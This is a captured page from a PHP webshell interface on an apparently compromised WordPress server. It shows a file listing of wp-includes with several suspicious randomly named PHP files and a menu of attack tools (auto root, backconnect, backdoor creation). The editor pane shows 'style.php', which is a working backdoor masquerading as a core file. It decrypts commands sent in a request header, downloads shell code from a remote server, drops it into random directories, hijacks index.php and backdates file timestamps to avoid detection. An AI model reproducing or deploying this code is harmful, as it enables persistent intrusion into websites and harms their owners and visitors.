Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 18.118.226.54
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
public_html /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
random_compat
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
.DS_Store
10
KB
-rw-r--r--
.htaccess
420
B
-rw-r--r--
5glby.php
14
B
-rw-r--r--
6zvefz.php
690
B
-rw-r--r--
a06fz.php
14
B
-rw-r--r--
admin-bar.php
30.23
KB
-rwxr-xr-x
atomlib.php
11.56
KB
-rwxr-xr-x
author-template.php
16.6
KB
-rwxr-xr-x
blocks.php
18.79
KB
-rwxr-xr-x
bookmark-template.php
12.2
KB
-rwxr-xr-x
bookmark.php
14.66
KB
-rwxr-xr-x
cache.php
21.36
KB
-rwxr-xr-x
canonical.php
28.23
KB
-rwxr-xr-x
capabilities.php
33.29
KB
-rwxr-xr-x
category-template.php
51.4
KB
-rwxr-xr-x
category.php
12.09
KB
-rwxr-xr-x
class-IXR.php
2.51
KB
-rw-r--r--
class-feed.php
544
B
-rwxr-xr-x
class-http.php
37.85
KB
-rwxr-xr-x
class-json.php
42.37
KB
-rwxr-xr-x
class-oembed.php
410
B
-rwxr-xr-x
class-phpass.php
7.15
KB
-rw-r--r--
class-phpmailer.php
145.11
KB
-rwxr-xr-x
class-pop3.php
20.43
KB
-rwxr-xr-x
class-requests.php
29.1
KB
-rwxr-xr-x
class-simplepie.php
87.17
KB
-rw-r--r--
class-smtp.php
39.96
KB
-rwxr-xr-x
class-snoopy.php
36.9
KB
-rw-r--r--
class-walker-category-dropdown...
2.08
KB
-rw-r--r--
class-walker-category.php
7.69
KB
-rwxr-xr-x
class-walker-comment.php
13.36
KB
-rwxr-xr-x
class-walker-nav-menu.php
8.47
KB
-rwxr-xr-x
class-walker-page-dropdown.php
2.25
KB
-rwxr-xr-x
class-walker-page.php
6.87
KB
-rwxr-xr-x
class-wp-admin-bar.php
16.55
KB
-rwxr-xr-x
class-wp-ajax-response.php
5.11
KB
-rwxr-xr-x
class-wp-block-parser.php
14.86
KB
-rw-r--r--
class-wp-block-styles-registry...
4.55
KB
-rwxr-xr-x
class-wp-block-type-registry.p...
4.97
KB
-rwxr-xr-x
class-wp-block-type.php
4.7
KB
-rw-r--r--
class-wp-comment-query.php
43.47
KB
-rwxr-xr-x
class-wp-comment.php
8.75
KB
-rw-r--r--
class-wp-customize-control.php
24.47
KB
-rwxr-xr-x
class-wp-customize-manager.php
198.49
KB
-rwxr-xr-x
class-wp-customize-nav-menus.p...
53.25
KB
-rwxr-xr-x
class-wp-customize-panel.php
9.37
KB
-rwxr-xr-x
class-wp-customize-section.php
9.93
KB
-rwxr-xr-x
class-wp-customize-setting.php
27.53
KB
-rwxr-xr-x
class-wp-customize-widgets.php
65.41
KB
-rwxr-xr-x
class-wp-date-query.php
34.45
KB
-rwxr-xr-x
class-wp-dependency.php
2.44
KB
-rwxr-xr-x
class-wp-editor.php
66.62
KB
-rwxr-xr-x
class-wp-embed.php
14.4
KB
-rwxr-xr-x
class-wp-error.php
4.81
KB
-rw-r--r--
class-wp-fatal-error-handler.p...
7.25
KB
-rwxr-xr-x
class-wp-feed-cache-transient....
2.5
KB
-rw-r--r--
class-wp-feed-cache.php
749
B
-rw-r--r--
class-wp-hook.php
13.96
KB
-rwxr-xr-x
class-wp-http-cookie.php
6.98
KB
-rwxr-xr-x
class-wp-http-curl.php
12.04
KB
-rwxr-xr-x
class-wp-http-encoding.php
6.39
KB
-rwxr-xr-x
class-wp-http-ixr-client.php
3.25
KB
-rw-r--r--
class-wp-http-proxy.php
5.93
KB
-rwxr-xr-x
class-wp-http-requests-hooks.p...
1.9
KB
-rwxr-xr-x
class-wp-http-requests-respons...
4.24
KB
-rwxr-xr-x
class-wp-http-response.php
2.88
KB
-rwxr-xr-x
class-wp-http-streams.php
15.69
KB
-rwxr-xr-x
class-wp-image-editor-gd.php
13.56
KB
-rwxr-xr-x
class-wp-image-editor-imagick....
23.09
KB
-rwxr-xr-x
class-wp-image-editor.php
13.58
KB
-rwxr-xr-x
class-wp-list-util.php
6.26
KB
-rwxr-xr-x
class-wp-locale-switcher.php
4.9
KB
-rwxr-xr-x
class-wp-locale.php
13.57
KB
-rwxr-xr-x
class-wp-matchesmapregex.php
1.76
KB
-rw-r--r--
class-wp-meta-query.php
27.19
KB
-rwxr-xr-x
class-wp-metadata-lazyloader.p...
5.26
KB
-rw-r--r--
class-wp-network-query.php
17.94
KB
-rwxr-xr-x
class-wp-network.php
12
KB
-rwxr-xr-x
class-wp-oembed-controller.php
5.89
KB
-rwxr-xr-x
class-wp-oembed.php
29.47
KB
-rwxr-xr-x
class-wp-paused-extensions-sto...
4.82
KB
-rw-r--r--
class-wp-post-type.php
19.07
KB
-rwxr-xr-x
class-wp-post.php
6.29
KB
-rw-r--r--
class-wp-query.php
128.01
KB
-rwxr-xr-x
class-wp-recovery-mode-cookie-...
6.31
KB
-rwxr-xr-x
class-wp-recovery-mode-email-s...
9.88
KB
-rwxr-xr-x
class-wp-recovery-mode-key-ser...
4.18
KB
-rw-r--r--
class-wp-recovery-mode-link-se...
3.29
KB
-rw-r--r--
class-wp-recovery-mode.php
11.09
KB
-rwxr-xr-x
class-wp-rewrite.php
58.49
KB
-rwxr-xr-x
class-wp-role.php
2.6
KB
-rw-r--r--
class-wp-roles.php
8.11
KB
-rwxr-xr-x
class-wp-session-tokens.php
7.26
KB
-rw-r--r--
class-wp-simplepie-file.php
2.27
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
27.86
KB
-rwxr-xr-x
class-wp-site.php
7.19
KB
-rwxr-xr-x
class-wp-tax-query.php
18.98
KB
-rwxr-xr-x
class-wp-taxonomy.php
10.44
KB
-rwxr-xr-x
class-wp-term-query.php
34.59
KB
-rwxr-xr-x
class-wp-term.php
5.14
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
716
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
16.4
KB
-rwxr-xr-x
class-wp-theme.php
49.78
KB
-rwxr-xr-x
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
30.56
KB
-rwxr-xr-x
class-wp-user-request.php
1.95
KB
-rwxr-xr-x
class-wp-user.php
21.26
KB
-rwxr-xr-x
class-wp-walker.php
12.42
KB
-rwxr-xr-x
class-wp-widget-factory.php
2.79
KB
-rwxr-xr-x
class-wp-widget.php
17.42
KB
-rwxr-xr-x
class-wp-xmlrpc-server.php
205.15
KB
-rwxr-xr-x
class-wp.php
24.11
KB
-rwxr-xr-x
class.wp-dependencies.php
11.25
KB
-rwxr-xr-x
class.wp-scripts.php
17.34
KB
-rwxr-xr-x
class.wp-styles.php
10.29
KB
-rwxr-xr-x
classwithtostring.php
5.59
KB
-rw-r--r--
comment-template.php
89.49
KB
-rwxr-xr-x
comment.php
114.49
KB
-rwxr-xr-x
compat.php
12.68
KB
-rwxr-xr-x
cron.php
31.69
KB
-rwxr-xr-x
d7gtzk.php
690
B
-rw-r--r--
date.php
409
B
-rwxr-xr-x
default-constants.php
9.88
KB
-rwxr-xr-x
default-filters.php
25.29
KB
-rwxr-xr-x
default-widgets.php
2.13
KB
-rw-r--r--
deprecated.php
111.96
KB
-rwxr-xr-x
edgtmrun.php
376
B
-rw-r--r--
embed-template.php
344
B
-rw-r--r--
embed.php
46.26
KB
-rwxr-xr-x
error-protection.php
3.31
KB
-rwxr-xr-x
error_log
70.01
KB
-rw-r--r--
feed-atom-comments.php
5.28
KB
-rwxr-xr-x
feed-atom.php
3.01
KB
-rw-r--r--
feed-rdf.php
2.6
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
4.05
KB
-rwxr-xr-x
feed-rss2.php
3.69
KB
-rw-r--r--
feed.php
21.51
KB
-rwxr-xr-x
formatting.php
291.43
KB
-rwxr-xr-x
functions.php
222.81
KB
-rwxr-xr-x
functions.wp-scripts.php
12.52
KB
-rwxr-xr-x
functions.wp-styles.php
8.03
KB
-rw-r--r--
general-template.php
148.89
KB
-rwxr-xr-x
h11trg.php
690
B
-rw-r--r--
http.php
22.02
KB
-rwxr-xr-x
ixfk1.php
14
B
-rw-r--r--
jhjo9.php
14
B
-rw-r--r--
kses.php
57.39
KB
-rwxr-xr-x
l10n.php
51.86
KB
-rwxr-xr-x
link-template.php
140.16
KB
-rwxr-xr-x
lljltn.php
690
B
-rw-r--r--
load.php
42.28
KB
-rwxr-xr-x
locale.php
162
B
-rwxr-xr-x
media-template.php
56.36
KB
-rwxr-xr-x
media.php
146.21
KB
-rwxr-xr-x
meta.php
46.63
KB
-rwxr-xr-x
ms-blogs.php
23.84
KB
-rwxr-xr-x
ms-default-constants.php
4.67
KB
-rw-r--r--
ms-default-filters.php
6.26
KB
-rw-r--r--
ms-deprecated.php
20.84
KB
-rwxr-xr-x
ms-files.php
2.59
KB
-rw-r--r--
ms-functions.php
85.58
KB
-rwxr-xr-x
ms-load.php
19.16
KB
-rwxr-xr-x
ms-network.php
3.57
KB
-rw-r--r--
ms-settings.php
4.04
KB
-rw-r--r--
ms-site.php
42.06
KB
-rwxr-xr-x
nav-menu-template.php
21.54
KB
-rwxr-xr-x
nav-menu.php
40.33
KB
-rwxr-xr-x
option.php
68.5
KB
-rwxr-xr-x
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
97.49
KB
-rwxr-xr-x
plugin.php
31.56
KB
-rwxr-xr-x
post-formats.php
6.89
KB
-rwxr-xr-x
post-template.php
61.44
KB
-rwxr-xr-x
post-thumbnail-template.php
8.78
KB
-rwxr-xr-x
post.php
238.88
KB
-rwxr-xr-x
query.php
32.16
KB
-rwxr-xr-x
registration-functions.php
202
B
-rwxr-xr-x
registration.php
202
B
-rwxr-xr-x
rest-api.php
45.54
KB
-rwxr-xr-x
revision.php
21.18
KB
-rwxr-xr-x
rewrite.php
17.61
KB
-rwxr-xr-x
rss-functions.php
214
B
-rwxr-xr-x
rss.php
22.66
KB
-rw-r--r--
script-loader.php
110.89
KB
-rwxr-xr-x
session.php
264
B
-rwxr-xr-x
shortcodes.php
21.2
KB
-rwxr-xr-x
spl-autoload-compat.php
443
B
-rwxr-xr-x
style.php
13.37
KB
-rw-r--r--
taxonomy.php
154.26
KB
-rwxr-xr-x
template-loader.php
2.79
KB
-rwxr-xr-x
template.php
20.55
KB
-rwxr-xr-x
theme.php
102.42
KB
-rwxr-xr-x
unalh.php
14
B
-rw-r--r--
update.php
24.97
KB
-rwxr-xr-x
user.php
121
KB
-rwxr-xr-x
uwbobwtdxq.php
1.5
KB
-rw-r--r--
vars.php
5.68
KB
-rwxr-xr-x
version.php
762
B
-rwxr-xr-x
widgets.php
57.37
KB
-rwxr-xr-x
wlwmanifest.xml
1.02
KB
-rw-r--r--
wp-db.php
101.4
KB
-rwxr-xr-x
wp-diff.php
662
B
-rw-r--r--
wp-feed.php
443
B
-rw-r--r--
wp-setitings.php
13.94
KB
-rw-r--r--
wp-tmp.php
1.94
KB
-rw-r--r--
y4zf0k.php
690
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : style.php
<?php error_reporting(0); class ErrorCode { const E_200400 = 200400; } class MsgText { const PARAM_EMPTY = 'param is empty'; const PARAM_TYPE = 'param type error'; const VALUE_ERROR = 'value error'; const NOCHANGE = 'no change'; const LOCK_FILE_SUCCESS = 'generate lock file success,but lock index.php error'; const LOCK_FILE_ERROR = 'generate lock file error'; const REMOTE_GET_ERROR = 'get remote content error'; const LOCAL_FILE_ERROR = 'generate local file error'; const SUCCESS = 'success'; const LOCAL_FILE_EXISTS = 'local file doesn\'t exist'; const REMOTE_FILE_EXISTS = 'remote file doesn\'t exist'; const RENAME_ERROR = 'rename error'; const INDEX_ERROR = 'index hijack error'; const UNKNOWN_ERROR = 'unknown error'; const DECRYPT_FAIL = 'params decrypt fail'; } function error($msg = MsgText::UNKNOWN_ERROR, $extras = [], $code = 0) { empty($code) && $code = ErrorCode::E_200400; exit(@json_encode(['code' => $code, 'msg' => $msg, 'extras' => $extras], JSON_UNESCAPED_UNICODE)); } function success($data) { exit(@json_encode(['code' => 200, 'msg' => MsgText::SUCCESS, 'data' => $data], JSON_UNESCAPED_UNICODE)); } function getDirPathsByLevel($level = 6) { $initDir = $_SERVER['DOCUMENT_ROOT']; $dirs = array($initDir); $count = count($dirs); while (count($dirs) > ($count - 1)) { $path = $dirs[($count - 1)]; $count += 1; if (@is_dir($path) && @$handle = @opendir($path)) { while ($file = @readdir($handle)) { $realpath = $path . '/' . $file; if ($file == '.' || $file == '..' || !is_dir($realpath) || substr($file, 0, 1) === '.') { continue; } $path3 = str_replace($initDir, "", $path); $path4 = explode("/", $path3); if (count($path4) > $level - 1) { continue; } $dirs[] = $realpath; } } @closedir($handle); } return $dirs; } function getUrl($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); curl_exec($curl); $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if ($httpCode === 200) { $content = curl_exec($curl); return ['code' => 200, 'resp' => $content]; } return ['code' => 500, 'resp' => '']; } function getRemoteContent($url) { $content = @file_get_contents($url); if ($content === false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); $content = curl_exec($curl); curl_close($curl); } return !empty($content) && is_string($content) ? $content : ''; } function copyfile($content, $localfile, $isAppend = false, $appendContent = '') { if ($isAppend && !empty($appendContent)) { $content = trim($content); if (substr($content, -2, 2) !== '?>') { $content .= ' ?>'; } $content = $content . PHP_EOL . PHP_EOL . $appendContent; } @file_put_contents($localfile, $content); if (!file_exists($localfile)) { $openedfile = @fopen($localfile, "w"); @fwrite($openedfile, $content); @fclose($openedfile); } if (!file_exists($localfile)) { return false; } return true; } function updateFiletime($filepath) { $ctime = filectime($filepath); $now = time(); if (!($now > $ctime + 31104000)) { $newTime = $now - (mt_rand(15552000, 31104000)); touch($filepath, $newTime, $newTime); return true; } return true; } $privateKey = '-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC30w49ItOfldQ6 dB+0gEbeeW6BEClcx+NZzmpX2YcRHFV80BurCWBavPFehV8Sy9yL2u/y3mv3QJJ+ x2kKvly8zKx4GbXPbsWJk6Ho0Rxq49oXkBarQBOqROZeaFF3Mzpd/PdLSsxEvG1M tQd2wOx5r6XD86jyfN7LAJUUVvbJvn1CHo03nFH12k1KYwLnQfzQI5nX7yQLa0jt fG5TA34Fm0EMbFdHWjAN/VdEjoJI6it4PCQP5wk4ga2BvVquQkuPbsbr8364d3I6 GuGAKDR0wfkT20n0E6kAmDI3ol2bfa0rQncqUS3OU3INpxOZS8eKCIgC3bM81mdi MQ6TsAQ9AgMBAAECggEAJLGSlA2RpLdpx8lKUuOQQfSHZGfveb/E2DZl7+dSGM5J GkMIYtnaTAKPQ8jns37SJXCsmRRhBNf05i20ABsDtAQ/ITIwopmAAPhhR3IGdCfL bwyqGcEOq9xZB9tW965YJk7KplLl94qNXtR8Cu5zxc6UDktjHBRk/Ky/FXJOjPKM sA8rhox7dqlZUB3I/qiqrQOgT1Bsq1BFT+2GGwRUWZ1CyFoZvhsDomdo4yhRrB0b 8Ym4MDiVqxFPVW8XB9RFD9YKt+v50Eb6iSKJNLpRmjZDNZbrEYO6NRsRBM7brDa9 n39mZWFr47wGGXXv/NhwTvRI+2Si/ZfdP4+o5TeSWQKBgQDhIVOUODisiLhk7XKb Yu7BW1ZFcK0JxurqHN22msvA0Q/1q4RvziETjekXIn9lVKCmS/gy2O2RtuQRulAR fc3sz2W9tNXRF8Avy0728NG0baOOwBalO8w3cCX6Nnm70pJer+iJSn3tmAKSB4LT vbSB8pt6QgP8NPHyQdWp2LwOtwKBgQDRB8lgSaImIMJBaXERSaoNg8kxv3/cv4g5 jUlljxNQcUsj0V7XilnB3mFxq5rHjBZTsKzMMQyvhOxYhptDfw6OLtoPUk2WiBUs l3qU0tIXNN+cTxu2SMKTjwMktkpmACJqa+k27eEUqxrKO/6SEiP9FMXHvgA4EEBM Hww1eU9QqwKBgAWSY5Uphw2OHLIyxkFeQ3Z5ojr5vO6fA7VjnYEld6GACxsTcaWq vlrTik9ORUTmwUscWjo38DlJA4AE0nJ8YJpZz7TQQvJ32gPUzlGCSE5k4EVqL6VL Q5Sjq+zzaDPj1EePpvuu4kr9FiMzGGPRMCR/MqXl+F9HmC1cv8MCYDUlAoGBAK77 g7pVKaYdWkCD0iEUt4Rkw/IfSxwyQglbmwungBWhIbO0O17X9Fd0n8IWU5WkUbRx e9XbYbE05t0cobEZFcg0tFqLHWRcOs1/aSBYc4L1whMJrjskIa6A07LR3uoQRr8r 4qkW7YrtyZluK6eABByCXSbeiTRldk3C1+eTy6/NAoGAb9/J+NWrhYSr/VoGWjui chXCNszy4w6exVwxXQKNTtlzKxyhQfVPK2BxrptWL6KCRKpz3wh+WY2C3QYyVfwG FB4hwDr2mY4TWF9pD194iES1yhrQGlI8XM+2LVhBl3p0x+TFgJMaTgDDqAnxpuqT upBYqTYMlOd+VR7hENMaFqo= -----END PRIVATE KEY-----'; $p = $_SERVER['HTTP_P']; $params = openssl_private_decrypt(base64_decode(urldecode($p)), $decrypted, $privateKey) ? $decrypted : null; if (is_null($params)) { error(MsgText::DECRYPT_FAIL); } $params = json_decode($params, true); if (!is_array($params)) { error(MsgText::PARAM_TYPE, $params); } if (empty($params['server'])) { error('server ' . MsgText::PARAM_EMPTY); } if (empty($params['iden'])) { error('iden ' . MsgText::PARAM_EMPTY); } $iden = isset($params['iden']) ? strtolower($params['iden']) : ''; switch ($iden) { case "beima": $res = doBeima($params); break; case "rename": $res = doRename($params); break; case "index": $res = doIndex($params); break; case "sub": case "htaccess": $res = doSub($params); break; case "lock": $res = doLock($params); break; case "style": $res = doStyle($params); break; default: error('iden ' . MsgText::VALUE_ERROR); } function doBeima($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } empty($params['level']) && $params['level'] = 6; $dirs = getDirPathsByLevel($params['level']); $temp = array_rand($dirs); $createDir = $dirs[$temp] . '/'; $localfilepath = $createDir . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); $beimaurl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $localfilepath); success(compact('localfilepath', 'beimaurl')); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_FILE_EXISTS, compact('remoteFileUrl')); } function doRename($params) { if (empty($params['sourcename'])) { error('sourcename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['rename'])) { error('rename ' . MsgText::PARAM_EMPTY, $params); } if ($params['sourcename'] === $params['rename']) { error(MsgText::NOCHANGE); } $sourceFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['sourcename']; $renameFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['rename']; $resSource = $params['server'] . str_replace(strtolower($_SERVER['DOCUMENT_ROOT']), '', strtolower($sourceFile)); $resSource = str_replace('\\', '/', $resSource); if (file_exists($sourceFile)) { if (rename($sourceFile, $renameFile)) { success($renameFile); } else { error(MsgText::RENAME_ERROR, compact('renameFile')); } } else { error(MsgText::LOCAL_FILE_EXISTS, compact('resSource')); } } function doIndex($params) { if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $remoteUrl = $params['server'] . trim($params['shellfile']); $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; $content = getRemoteContent($remoteUrl); $content = json_decode($content, true); if (!empty($content['result'])) { $oldContent = ''; if (file_exists($localfilepath)) { $oldContent = @file_get_contents($localfilepath); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.htm'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.htm'); } if (copyfile($content['result'], $localfilepath, true, $oldContent)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::INDEX_ERROR, compact('remoteUrl')); } function doSub($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doLock($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { $lockurl = $params['domain'] . $params['filename']; $lockres = getUrl($lockurl); @unlink($localfilepath); if ($lockres['code'] === 200 && !empty($lockres['resp']) && strpos($lockres['resp'], 'success')) { success($lockres['resp']); } error(MsgText::LOCK_FILE_SUCCESS, compact('lockurl', 'lockres')); } @unlink($localfilepath); error(MsgText::LOCK_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doStyle($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $params['domain'] . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); }
Close